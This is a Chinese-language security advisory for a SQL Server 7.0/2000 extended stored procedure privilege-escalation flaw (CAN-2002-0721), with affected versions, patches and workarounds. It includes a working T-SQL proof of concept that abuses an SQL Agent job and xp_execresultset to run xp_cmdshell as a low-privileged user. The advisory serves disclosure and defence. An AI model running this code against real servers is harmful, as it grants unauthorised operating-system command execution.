|
SQL Server 扩展存储进程弱验证缺陷允许非法提升攻击者权限
涉及程序:
SQL Server
描述:
SQL Server 扩展存储进程弱验证缺陷允许非法提升攻击者权限
详细:
微软8月14日发布了一个 SQL Server 7.0 和 SQL Server 2000 的累积补丁包(Q316333)。它不仅含有 SQL Server
以前所发布的所有漏洞补丁,另外还包含了最近发现的一个安全缺陷补丁。
SQL Server 7.0 和 SQL Server 2000 为数据库提供了一个扩展存储进程,它是用 C 或 C#
写的一写外部程序。这些扩展存储进程被用户作为普通存储进程来调用和运行。缺省 SQL Server 7.0 和 SQL Server 2000
附带了一定数量的被用于各种帮助函数的扩展存储进程。
许多微软提供的能够作为 SQL Server 服务帐号连接到 SQL Server
数据库上的扩展存储进程都有一个缺陷,即脆弱的身份验证机制允许未授权用户去运行它。因为这些扩展存储进程能被以数据库管理员权限去运行,所以攻击者能够利用此缺陷在数据库中以管理员权限运行扩展存储进程,非法提升自己的权限。
攻击者能使用两种方法利用此缺陷:
* 最直接的方法是攻击者自己构建一个含有畸形参数的数据库请求去调用受影响的扩展存储进程。但是这种方法要想成功的话,SQL Server
服务器必须被配置为允许不信任用户去载入和运行他们自己选择和构建的数据库请求。
* 如果攻击者不能载入和运行他们自己选择的数据库请求,他们仍可利用系统现有的一些数据库请求去调用受影响的扩展存储进程。
比如如果数据库是一个基于web的搜索工具的一部分,并且是被web站点调用的程序之一,那么攻击者也能尝试着利用此缺陷自己创建一个请求。但是这要求攻击者对web站点的搜索功能和函数非常了解。如果一个站点在执行数据库请求之前未进行正确检查,攻击者将有可能在数据库请求参数中嵌入调用受影响函数的指令。
------------------------------------
攻击者利用此缺陷产生的安全影响依赖于 SQL Server 服务的详细配置。管理员在配置时可以自由选择在什么用户的 security context 中运行
SQL Server 。缺省,SQL Server 被配置在域用户的 security context 中运行。如果管理员选择在最低权限用户的
security context 中运行 SQL Server ,将可以将安全风险降低到最小。
风险等级:
中等
受影响软件:
Microsoft SQL Server 7.0
Microsoft Desktop Engine (MSDE) 1.0
Microsoft SQL Server 2000
Microsoft Desktop Engine (MSDE) 2000
攻击方法:
攻击者能使用两种方法利用此缺陷:
* 最直接的方法是攻击者自己构建一个含有畸形参数的数据库请求去调用受影响的扩展存储进程。但是这种方法要想成功的话,SQL Server
服务器必须被配置为允许不信任用户去载入和运行他们自己选择和构建的数据库请求。
* 如果攻击者不能载入和运行他们自己选择的数据库请求,他们仍可利用系统现有的一些数据库请求去调用受影响的扩展存储进程。
比如如果数据库是一个基于web的搜索工具的一部分,并且是被web站点调用的程序之一,那么攻击者也能尝试着利用此缺陷自己创建一个请求。但是这要求攻击者对web站点的搜索功能和函数非常了解。如果一个站点在执行数据库请求之前未进行正确检查,攻击者将有可能在数据库请求参数中嵌入调用受影响函数的指令。
David Litchfield <david@ngssoftware.com>提供了下列验证程序:
-- GetSystemOnSQL
-- For this to work the SQL Agent should be running.
-- Further, you'll need to change SERVER_NAME in
-- sp_add_jobserver to the SQL Server of your choice
--
-- David Litchfield
-- (david@ngssoftware.com)
-- 18th July 2002
USE msdb
EXEC sp_add_job @job_name = 'GetSystemOnSQL',
@enabled = 1,
@description = 'This will give a low privileged user access to
xp_cmdshell',
@delete_level = 1
EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N''select ''''exec
master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''
EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
@server_name = 'SERVER_NAME'
EXEC sp_start_job @job_name = 'GetSystemOnSQL'
解决方案:
下载补丁:
Microsoft SQL Server 7.0
http://www.microsoft.com/Release.asp?ReleaseID=Q327068
Microsoft SQL Server 2000
http://www.microsoft.com/Release.asp?ReleaseID=Q316333
临时解决方案:
* 对 SQL Server 进行配置,禁止不信任用户去载入和运行他们创建的任何数据库请求。另外,在运行任何数据库请求之前必须先过滤。
* 将 SQL Server 配置为在最低权限用户的 security context 中运行。
附加信息:
CAN-2002-0721
|